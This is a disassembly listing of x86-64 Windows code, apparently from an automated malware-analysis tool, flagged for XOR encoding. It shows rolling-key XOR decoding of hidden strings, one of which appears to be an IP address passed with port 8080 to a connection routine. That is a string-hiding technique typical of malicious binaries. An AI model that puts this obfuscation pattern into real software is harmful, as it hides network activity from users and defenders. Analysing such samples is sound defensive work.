Function at 0x14002a9f0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xf8
lea rsi, [0x14002b060]
call fcn.140001600
lea rax, [rsp + 0x84]
mov ecx, 9
mov dl, 0x37
lea rdi, [rsp + 0x84]
rep movsd dword [rdi], dword [rsi]
mov rsi, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x5b
jne 0x1400026c3
lea rax, [rsp + 0xb8]
mov rcx, rsi
lea rbx, [rsp + 0xa8]
mov qword [rsp + 0xa8], rax
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x60], rax
lea rdi, [rsi + rax]
cmp rax, 0xf
jbe 0x140002723
lea rdx, [rsp + 0x60]
xor r8d, r8d
mov rcx, rbx
call fcn.1400240c0
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xb8], rax
mov rcx, qword [rsp + 0xa8]
mov rdx, rsi
mov r8, rdi
call fcn.140022320
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0xa8]
mov rcx, rbx
mov qword [rsp + 0xb0], rax
mov byte [rdx + rax], 0
call fcn.140001cca
mov rcx, rbx
call fcn.140021cf0
mov edx, 0x37
movabs rax, 0x4a0040004a0074
mov qword [rsp + 0x28], rax
movabs rax, 0x57006a0053004f
mov qword [rsp + 0x30], rax
movabs rax, 0x42001500120051
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x28]
mov rbp, rax
xor word [rax], dx
inc edx
add rax, 2
cmp dx, 0x43
jne 0x140002799
lea rsi, [0x14002b0a0]
mov ecx, 0x12
mov rdi, rbx
mov eax, 0x37
rep movsd dword [rdi], dword [rsi]
lea rdx, [rsp + 0xa8]
xor word [rdx], ax
inc eax
add rdx, 2
cmp ax, 0x5b
jne 0x1400027c6
lea rax, [rsp + 0x70]
mov rcx, rbx
lea rsi, [rsp + 0x60]
mov qword [rsp + 0x60], rax
lea rdi, [rsp + 0x40]
call sub.msvcrt.dll_wcslen
mov rdx, rbx
mov rcx, rsi
lea r8, [rbx + rax*2]
call fcn.140001562
lea rax, [rsp + 0x50]
mov rcx, rbp
mov qword [rsp + 0x40], rax
call sub.msvcrt.dll_wcslen
mov rdx, rbp
mov rcx, rdi
lea r8, [rbp + rax*2]
call fcn.140001562
mov rdx, rsi
mov rcx, rdi
call fcn.140001dd8
mov rcx, rdi
call fcn.140025660
mov rcx, rsi
call fcn.140025660
mov dword [rsp + 0x68], 0x6c73720e
mov rdx, rsi
movabs rax, 0x10050a0a140b0106
mov word [rsp + 0x6c], 0x4472
mov qword [rsp + 0x60], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x45
jne 0x140002860
mov r8d, 0x1f90
mov rdx, rsi
mov rcx, rdi
call fcn.14000251a
mov rsi, rax
mov rcx, rbx
call fcn.140021cf0
mov rcx, rsi
jmp 0x1400028a7
call fcn.14000d8e0
nop
nop
nop
nop
jmp qword [sym.imp.OLEAUT32.dll_VariantInit]
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.14000c540
call fcn.140012d20
mov rbx, qword [rax]
test rbx, rbx
jne 0x14002aa3b
jmp 0x14002aab1
test cl, cl
je 0x14002aa68
and esi, 1
je 0x14002aa50
mov esi, 1
call sub.msvcrt.dll__ismbblead
test eax, eax
je 0x14002aa37
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x14002aa18
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x14002aa26
test cl, cl
je 0x14002aa68
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x14002aa68
cmp al, 0x20
jle 0x14002aa58
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x14002aa96
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x14002f030]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x140002690
lea rbx, [0x14002e4c0]
jmp 0x14002aa68